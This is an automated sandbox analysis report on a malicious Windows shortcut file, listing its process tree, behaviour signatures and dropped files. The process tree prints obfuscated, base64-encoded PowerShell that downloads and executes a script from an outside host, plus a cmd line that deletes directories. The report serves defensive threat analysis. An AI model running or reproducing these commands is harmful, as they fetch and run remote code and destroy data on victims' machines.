Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240319-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/03/2024, 08:29

General

  • Target
    2.2024 Outfit Strests.lnk
  • Size 3.0MB
  • Sample240320-kdkkjacf93
  • SHA256 5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2.2024 Outfit Strests.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /c start /min "" p^o^w^ershell.ex^e -W^i^n^d^owSt^yle h^id^de^n -No^Lo^go -N^o^Pro^f^i^l^e -Exec^ut^i^o^nP^oli^c^y by^p^ass -C^omm^a^n^d "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -Command "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2856
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3268
  • C:\Windows\Temp\svczHost.exe
    C:\Windows\Temp\svczHost.exe khiem3 fixtest123.uk
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3692
    • C:\Windows\system32\cmd.exe
      "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
      2⤵
        PID:4120
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2264,i,1475924722205134884,16549311107360026087,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:32

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 f255360548176cddb8a1d0b6862819c043899603e9660731d7a266a2ae0c5dfb
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_iylfscn5.5li.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iylfscn5.5li.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 6KB
            • SHA256 1ccc427bd1da3faa7a4e7686eb0dc049c120713133269aa1d042a18551a0370c
            • MD5 SHA1 SHA512 SSDEEP

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 6KB
            • SHA256 00351ceee807c7d1ecd0e82a23581b1f0b68abb666efc1f8798fc807ba3d9a2d
            • MD5 SHA1 SHA512 SSDEEP

            svczHost.exe

            • Path C:\Windows\Temp\svczHost.exe
            • Size 1.1MB
            • SHA256 5e5ce0586a650c9eb61ad962b826f0f945423c22fd0fc95913b181fd03eeb2d1
            • MD5 SHA1 SHA512 SSDEEP

            svczHost.exe

            • Path C:\Windows\Temp\svczHost.exe
            • Size 10.3MB
            • SHA256 6984cf4fce9732a3369b627d5eb89c5303add15679fdccb0fb11c6ea48c3bc80
            • MD5 SHA1 SHA512 SSDEEP

            memory/768-18-0x000002875CDE0000-0x000002875CFEA000-memory.dmp

            memory/768-15-0x000002875BA00000-0x000002875BA10000-memory.dmp

            memory/768-34-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

            memory/768-17-0x000002875CA50000-0x000002875CBC6000-memory.dmp

            memory/768-16-0x000002875BA00000-0x000002875BA10000-memory.dmp

            memory/768-13-0x000002875B940000-0x000002875B962000-memory.dmp

            memory/768-14-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

            memory/2856-29-0x000002381D040000-0x000002381D050000-memory.dmp

            memory/2856-30-0x000002381D040000-0x000002381D050000-memory.dmp

            memory/2856-31-0x000002381D040000-0x000002381D050000-memory.dmp

            memory/2856-33-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

            memory/2856-28-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

            memory/3268-50-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

            memory/3268-55-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp

            memory/3268-56-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

            memory/3268-58-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

            memory/3268-52-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp

            memory/3268-51-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp